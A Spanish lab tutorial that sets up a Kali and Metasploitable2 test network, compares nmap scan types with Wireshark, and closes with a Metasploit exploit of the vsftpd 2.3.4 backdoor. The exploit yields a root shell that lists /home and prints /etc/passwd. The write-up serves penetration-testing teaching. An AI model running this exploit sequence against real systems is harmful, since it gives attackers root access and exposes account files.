ESQUEMA DE TRABAJO Y ESCANEO INICIAL
El escenario para simular un entorno más real y poder hacer más pruebas es el siguiente:
Podemos ver en el siguiente enlace como instalar Kali:
Podemos bajar la máquina metasploitable2 en sourceforge:
En el esquema el servidor Ubuntu 16.04 actúa como Firewall y como servidor dhcp
Configuración de RED Ubuntu 16.04
root@ubuntu:~# cat /etc/network/interfaces # This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). source /etc/network/interfaces.d/* # The loopback network interface auto lo iface lo inet loopback # The primary network interface auto ens33 iface ens33 inet dhcp auto ens34 iface ens34 inet static address 192.168.50.254 netmask 255.255.255.0 broadcast 192.168.50.255
root@ubuntu:~# cat /etc/resolv.conf # Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8) # DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN nameserver 192.168.1.1
Configuración del servidor DHCP Ubuntu 16.04
subnet 192.168.50.0 netmask 255.255.255.0 { range 192.168.50.50 192.168.50.100; option domain-name-servers 8.8.8.8; option domain-name "profe.local"; option subnet-mask 255.255.255.0; option routers 192.168.50.254; option broadcast-address 192.168.50.255; default-lease-time 600; max-lease-time 7200; }
Configuración del firewall inicial Ubuntu 16.04
administrador@ubuntu:~$ cat /etc/fw/fwclear.fw # Definicion de variables iptables -F iptables -X iptables -t nat -F iptables -Z iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE echo "Reglas Iptables ejecutadas"
El script fwclear lo ejecutaremos como root de forma manual, ya que estamos en un entorno de pruebas. En un caso real bastaría con llamarlo desde el fichero /etc/rc.local
Aquí podemos encontrar más ejemplos del comando nmap:
IDENTIFICAR MÁQUINAS ACTIVAS
He realizado el siguiente tipo de escaneo para detectar todos los posibles host de nuestra red local.
root@kali:~# nmap -sn -n 192.168.50.0/24 Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 09:55 CEST Nmap scan report for 192.168.50.50 Host is up (0.00033s latency). MAC Address: 00:0C:29:2E:33:D4 (VMware) Nmap scan report for 192.168.50.254 Host is up (-0.10s latency). MAC Address: 00:0C:29:8B:EC:8B (VMware) Nmap scan report for 192.168.50.51 Host is up. Nmap done: 256 IP addresses (3 hosts up) scanned in 9.28 seconds root@kali:~#
Parámetros:
-sn: Ping Scan – disable port scan
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
Mucha gente pone que los firewalls limitan el ping (protocolo icmp-echo y icmp-reply ) … Y que por lo tanto este tipo de escaneo no detecta máquinas …. Nada más lejos de la realidad. Si observamos las tramas con Wireshark, vemos que NO hace ningún PING, sino que trabaja con ARP directamente. Ojo, esta técnica solo funciona en nuestra red local, pues recordemos que los paquetes ARP de broadcast quedan limitados a nuestra red local.
Si estamos fuera de la red, esta técnica NO sirve.
Si filtramos con Wireshark veremos las dos respuestas de los dos host up de nuestra red. La tercera máquina es la propia que no aparece en el wireshark. En definitva podemos ver que las MAC’s que aparecen son las de
arp.opcode == 2
Ahora lo hacemos con Zenmap también, y vemos el mismo resultado pero con entorno gr
Por cierto disponemos de herramientas Online para saber a qué fabricante pertenece una determinada MAC, aunque ya sabemos que con la virtualización y determinadas herramientas la podemos suplantar. Hablamos siempre en un entorno normal, sin “manipulación” del usuario.
PRUEBAS DE CONECTIVIDAD
Las pruebas las hago desde la máquina Kali, suficiente para demostrar que hay conectividad entre todas las máquinas de nuestra red.
Máquina Kali
- Configuración tcp/ip
root@kali:~# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.50.51 netmask 255.255.255.0 broadcast 192.168.50.255
inet6 fe80::20c:29ff:fe60:5df0 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:60:5d:f0 txqueuelen 1000 (Ethernet)
RX packets 402576 bytes 605004704 (576.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 101052 bytes 6870727 (6.5 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
- Hacia el gateway
root@kali:~# ping -c 1 192.168.50.254
PING 192.168.50.254 (192.168.50.254) 56(84) bytes of data.
64 bytes from 192.168.50.254: icmp_seq=1 ttl=64 time=0.202 ms
--- 192.168.50.254 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.202/0.202/0.202/0.000 ms
- Hacia la máquina metasplotaible2
root@kali:~# ping -c 1 192.168.50.50
PING 192.168.50.50 (192.168.50.50) 56(84) bytes of data.
64 bytes from 192.168.50.50: icmp_seq=1 ttl=64 time=9.26 ms
--- 192.168.50.50 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 9.266/9.266/9.266/0.000 ms
- Hacia el router Orange
root@kali:~# ping -c 1 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=63 time=3.87 ms
--- 192.168.1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 3.873/3.873/3.873/0.000 ms
- Hacia Internet con resolución de nombres
root@kali:~# ping -c 1 www.google.com
PING www.google.com (216.58.201.132) 56(84) bytes of data.
64 bytes from mad06s25-in-f4.1e100.net (216.58.201.132): icmp_seq=1 ttl=53 time=13.5 ms
--- www.google.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 13.582/13.582/13.582/0.000 ms
ESCANEO COMPLETO DE PUERTOS, incluido silencioso
Realizaremos como indica la práctica los diferentes tipos de escaneo de 10000 en 10000
TcpConnect root@kali:~#nmap -sT -sV -O 192.168.50.50 -v -p1-9999
SYN scan root@kali:~#nmap -sS -sV -O 192.168.50.50 -v -p1-9999
FIN scan root@kali:~#nmap -sF -sV -O 192.168.50.50 -v -p1-9999
Xmas scan root@kali:~#nmap -sX -sV -O 192.168.50.50 -v -p1-9999
NULL scan root@kali:~#nmap -sN -sV -O 192.168.50.50 -v -p1-9999
UDP scan root@kali:~#nmap -sU -sV -O 192.168.50.50 -v -p1-9999
Hemos comparado para cada uno de los métodos anteriores los puertos abiertos y cerrados que nos dan. Puesto que el resultado es coincidente ( menos en el de UDP scan ) utilizaremos solo uno de ellos, el -sS para el resto de la práctica
Una vez tenemos claro que los resultados han sido los mismos en todos los casos, ejecutaremos todos los puertos a la vez, con un buen café y pastas… incluso nos da tiempo a ir a la panadería….
root@kali:~# nmap -sS -sV -O 192.168.50.50 -p1-65535 Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 12:41 CEST Nmap scan report for 192.168.50.50 Host is up (0.00031s latency). Not shown: 65506 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login 514/tcp open tcpwrapped 1099/tcp open rmiregistry GNU Classpath grmiregistry 1524/tcp open shell Metasploitable root shell 2049/tcp open nfs 2-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 (access denied) 6667/tcp open irc UnrealIRCd 6697/tcp open irc UnrealIRCd 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb) 44271/tcp open rmiregistry GNU Classpath grmiregistry 44978/tcp open mountd 1-3 (RPC #100005) 54319/tcp open nlockmgr 1-4 (RPC #100021) 55459/tcp open status 1 (RPC #100024) MAC Address: 00:0C:29:2E:33:D4 (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Network Distance: 1 hop Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6353.85 seconds
Veamos sobre uno de los puertos abiertos -80-, los diferentes tipos de nmap, para entenderlos a fondo:
root@kali:~# nmap -sT -R 192.168.50.50 -p80
- Wireshark:
root@kali:~# nmap -sS -R 192.168.50.50 -p80
- Wireshark
root@kali:~# nmap -sF -R 192.168.50.50 -p80
- Wireshark
root@kali:~# nmap -sN -R 192.168.50.50 -p80
- Wireshark
root@kali:~# nmap -sX -R 192.168.50.50 -p80
- Wireshark
Veamos lo mismo con un puerto cerrada para cotejar las diferencias y entenderlo todo bien. Puerto 81/tcp:
root@kali:~# nmap -sT -R 192.168.50.50 -p81
- Wireshark
root@kali:~# nmap -sS -R 192.168.50.50 -p81
- Wireshark
root@kali:~# nmap -sF -R 192.168.50.50 -p81
- Wireshark
root@kali:~# nmap -sN -R 192.168.50.50 -p81
- Wireshark
root@kali:~# nmap -sX -R 192.168.50.50 -p81
- Wireshark
Veamos sobre un puerto filtrado -22- por iptables en el Ubuntu que actúa como enrutador:
- Veamos en primer lugar que el puerto 22 está abierto:
root@kali:~# nmap -sT -R 192.168.50.254 -p22 Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:26 CEST Nmap scan report for 192.168.50.254 Host is up (0.00031s latency). PORT STATE SERVICE 22/tcp open ssh MAC Address: 00:0c:29:8b:ec:8b (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds
- Añadimos la siguiente regla simple en la máquina Ubuntu que actúa como enrutador:
root@ubuntu:~# iptables -A INPUT -i ens34 -p tcp --dport 22 -j DROP
Veamos ahora como actúan los diferentes tipos de scan con un puerto filtrado por un firewall
root@kali:~# nmap -sT -R 192.168.50.254 -p22 Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:32 CEST Nmap scan report for 192.168.50.254 Host is up (0.00046s latency). PORT STATE SERVICE 22/tcp filtered ssh MAC Address: 00:0C:29:8B:EC:8B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds
- Wireshark
root@kali:~# nmap -sS -R 192.168.50.254 -p22 Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:32 CEST Nmap scan report for 192.168.50.254 Host is up (0.00044s latency). PORT STATE SERVICE 22/tcp filtered ssh MAC Address: 00:0C:29:8B:EC:8B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.64 seconds
- Wireshark
root@kali:~# nmap -sF -R 192.168.50.254 -p22 Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:32 CEST Nmap scan report for 192.168.50.254 Host is up (0.00047s latency). PORT STATE SERVICE 22/tcp open|filtered ssh MAC Address: 00:0C:29:8B:EC:8B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
- Wireshark
root@kali:~# nmap -sN -R 192.168.50.254 -p22 Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:32 CEST Nmap scan report for 192.168.50.254 Host is up (0.00015s latency). PORT STATE SERVICE 22/tcp open|filtered ssh MAC Address: 00:0C:29:8B:EC:8B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.62 seconds
- Wireshark
root@kali:~# nmap -sX -R 192.168.50.254 -p22 Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:32 CEST Nmap scan report for 192.168.50.254 Host is up (0.00031s latency). PORT STATE SERVICE 22/tcp open|filtered ssh MAC Address: 00:0C:29:8B:EC:8B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
- Wireshark
Recordar que como hace una consulta ARP, nmap puede suponer que el puerto está filtered al no tener la respuesta tcp adecuada ni que está OPEN ni CLOSED como hemos visto anteriormente. Todo esto implica muchos conocimientos de TCP/IP, necesarios para entender el hacking en general.
ESCANEO PROFUNDO CON ZENMAP
Para el siguiente punto, y sobre todo para agilizar el tiempo atacaremos directamente a los puertos que ya sabemos están abiertos. Para ello utilizaremos el parámetro -p[port list]
nmap -T4 -A -v 192.168.50.50 -p21,22,23,25,53,80,111,139,445,512, 513,514,1099,1524,2049,2121,3306,3632,5432,5900,6000,6667,6697,8009, 8180,8787,44271,44978,54319,55459
Parámetros utilizados:
-T<0-5>: Set timing template (higher is faster)
-A: Enable OS detection, version detection, script scanning, and traceroute
SCRIPT SCAN:
-sC: equivalent to –script=default
–script=<Lua scripts>: <Lua scripts> is a comma separated list of
directories, script-files or script-categories
–script-args=<n1=v1,[n2=v2,…]>: provide arguments to scripts
–script-args-file=filename: provide NSE script args in a file
–script-trace: Show all data sent and received
–script-updatedb: Update the script database.
–script-help=<Lua scripts>: Show help about scripts.
<Lua scripts> is a comma-separated list of script-files or script-categories.
Podremos encontrar una lista detallada de todas las posibilidades con los scripts en el siguiente enlace:
Hemos generado un nuevo perfil con un scan intensivo -A -T4
En el resultado podremos ver mucha información que os adjunto a continuación ( es un poco largo, y hay que leer!!! ). OS puesto en rojo, dos de los resultados que aparecen para llamar vuestra atención. El puerto 21/tcp, ftp, que más adelante utilizaremos para el ataque, y el 3306/tcp, mysql.
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Public Key type: rsa | Public Key bits: 1024 | Signature Algorithm: sha1WithRSAEncryption | Not valid before: 2010-03-17T14:07:45 | Not valid after: 2010-04-16T14:07:45 | MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828 |_SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6 |_ssl-date: 2017-08-09T05:55:28+00:00; -3s from scanner time. | sslv2: | SSLv2 supported | ciphers: | SSL2_RC4_128_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_DES_64_CBC_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_DES_192_EDE3_CBC_WITH_MD5 |_ SSL2_RC2_128_CBC_WITH_MD5 53/tcp open domain ISC BIND 9.4.2 | dns-nsid: |_ bind.version: 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2 |_http-title: Metasploitable2 - Linux 111/tcp open rpcbind 2 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/udp nfs | 100005 1,2,3 33319/udp mountd | 100005 1,2,3 51227/tcp mountd | 100021 1,3,4 42785/tcp nlockmgr | 100021 1,3,4 51194/udp nlockmgr | 100024 1 39251/tcp status |_ 100024 1 58035/udp status 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login? 514/tcp open tcpwrapped 1099/tcp open java-rmi Java RMI Registry 1524/tcp open shell Metasploitable root shell 2049/tcp open nfs 2-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 | mysql-info: | Protocol: 10 | Version: 5.0.51a-3ubuntu5 | Thread ID: 8 | Capabilities flags: 43564 | Some Capabilities: SupportsCompression, Support41Auth, SupportsTransactions, LongColumnFlag, ConnectWithDatabase, Speaks41ProtocolNew, SwitchToSSLAfterHandshake | Status: Autocommit |_ Salt: '`1qh8y|%=D~q9fu<gu5 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Public Key type: rsa | Public Key bits: 1024 | Signature Algorithm: sha1WithRSAEncryption | Not valid before: 2010-03-17T14:07:45 | Not valid after: 2010-04-16T14:07:45 | MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828 |_SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6 |_ssl-date: 2017-08-09T05:55:26+00:00; -4s from scanner time. 5900/tcp open vnc VNC (protocol 3.3) | vnc-info: | Protocol version: 3.3 | Security types: |_ VNC Authentication (2) 6000/tcp open X11 (access denied) 6667/tcp open irc UnrealIRCd | irc-info: | users: 1.0 | servers: 1 | lusers: 1 | lservers: 0 | server: irc.Metasploitable.LAN | version: Unreal3.2.8.1. irc.Metasploitable.LAN | uptime: 0 days, 0:26:19 | source ident: nmap | source host: D2950D63.85216C96.FFFA6D49.IP |_ error: Closing Link: crterltxn[192.168.50.51] (Quit: crterltxn) 6697/tcp open irc UnrealIRCd 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) |_ajp-methods: Failed to get a valid response for the OPTION request 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-favicon: Apache Tomcat | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache-Coyote/1.1 |_http-title: Apache Tomcat/5.5 8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb) 44271/tcp closed unknown 44978/tcp closed unknown 54319/tcp closed unknown 55459/tcp closed unknown MAC Address: 00:0C:29:2E:33:D4 (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Uptime guess: 0.016 days (since Wed Aug 9 07:33:44 2017) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=203 (Good luck!) IP ID Sequence Generation: All zeros Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -3s, deviation: 0s, median: -4s | nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | Names: | METASPLOITABLE<00> Flags: <unique><active> | METASPLOITABLE<03> Flags: <unique><active> | METASPLOITABLE<20> Flags: <unique><active> | \x01\x02__MSBROWSE__\x02<01> Flags: <group><active> | WORKGROUP<00> Flags: <group><active> | WORKGROUP<1d> Flags: <unique><active> |_ WORKGROUP<1e> Flags: <group><active> | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | NetBIOS computer name: | Workgroup: WORKGROUP\x00 |_ System time: 2017-08-09T01:55:26-04:00 TRACEROUTE HOP RTT ADDRESS 1 0.16 ms 192.168.50.50 NSE: Script Post-scanning. Initiating NSE at 07:56 Completed NSE at 07:56, 0.00s elapsed Initiating NSE at 07:56 Completed NSE at 07:56, 0.00s elapsed Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 76.41 seconds Raw packets sent: 66 (5.304KB) | Rcvd: 61 (4.964KB)
METASPLOIT PUERTO 21
Qué más podemos probar para cotejar resultados…Pues ir lanzando scripts predeterminados de nmap. En nuestro caso, y para no hacerlo de forma indiscriminada contra todos los puertos abiertos, utilizamos puerto tcp/21 -ftp-:
auth
These scripts deal with authentication credentials (or bypassing them) on the target system. Examples include x11-access, ftp-anon, and oracle-enum-users. Scripts which use brute force attacks to determine credentials are placed in the brute category instead
root@kali:~#nmap -p 21 -sS -sV -v --script auth 192.168.50.50
vuln
These scripts check for specific known vulnerabilities and generally only report results if they are found. Examples include realvnc-auth-bypass and afp-path-vuln.
root@kali:~#nmap -p 21 -sS -sV -v --script vuln 192.168.50.50
Podemos buscar con la orden searchsploit (siempre que esté actualizado) si hay algún tipo de vulnerabilidad.
root@kali:~#searchsploit vsftpd
------------------------------------------- ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/platforms/)
------------------------------------------- ----------------------------------
vsftpd 2.0.5 - 'CWD' Authenticated Remote Me | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Den | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Den | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (M | unix/remote/17491.rb
------------------------------------------- ----------------------------------
Eurka!!! En nuestro caso, vemos que la propia herramienta nos indica un “Backdoor command Execution” sobre la versión que nos indicaba el nmap.
Podemos cotejar el resultado con búsquedas en la web
Podemos ver como instalar el módulo de metasploit en Kali en el siguiente enlace:
Veamos como conseguir el acceso root con metasploit:
root@kali:~# service postgresql start root@kali:~# msfdb init Creating database user 'msf' Ingrese la contraseña para el nuevo rol: Ingrésela nuevamente: Creating databases 'msf' and 'msf_test' Creating configuration file in /usr/share/metasploit-framework/config/database.yml Creating initial database schema root@kali:~# msfconsole http://metasploit.com =[ metasploit v4.14.28-dev ] + -- --=[ 1662 exploits - 951 auxiliary - 293 post ] + -- --=[ 486 payloads - 40 encoders - 9 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST yes The target address RPORT 21 yes The target port (TCP) Exploit target: Id Name -- ---- 0 Automatic msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.50.50 RHOST => 192.168.50.50 msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST 192.168.50.50 yes The target address RPORT 21 yes The target port (TCP) Exploit target: Id Name -- ---- 0 Automatic msf exploit(vsftpd_234_backdoor) > exploit [*] 192.168.50.50:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.50.50:21 - USER: 331 Please specify the password. [+] 192.168.50.50:21 - Backdoor service has been spawned, handling... [+] 192.168.50.50:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 1 opened (192.168.50.51:40701 -> 192.168.50.50:6200) at 2017-08-09 09:04:19 +0200 ls /home ftp msfadmin service user whoami root cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh
Prueba superada …. 🙂
Estamos listando el contenido de la carpeta home de la máquina remota. Para comprobarlo hacemos de forma local en la máquina metasploitable un ls /home y vemos que el resultado es el mismo.
Ya tenemos acceso root sobre el objetivo para ejecutar cualquier comando… Nosotros hemos sido benévolos, que es de lo que se trata.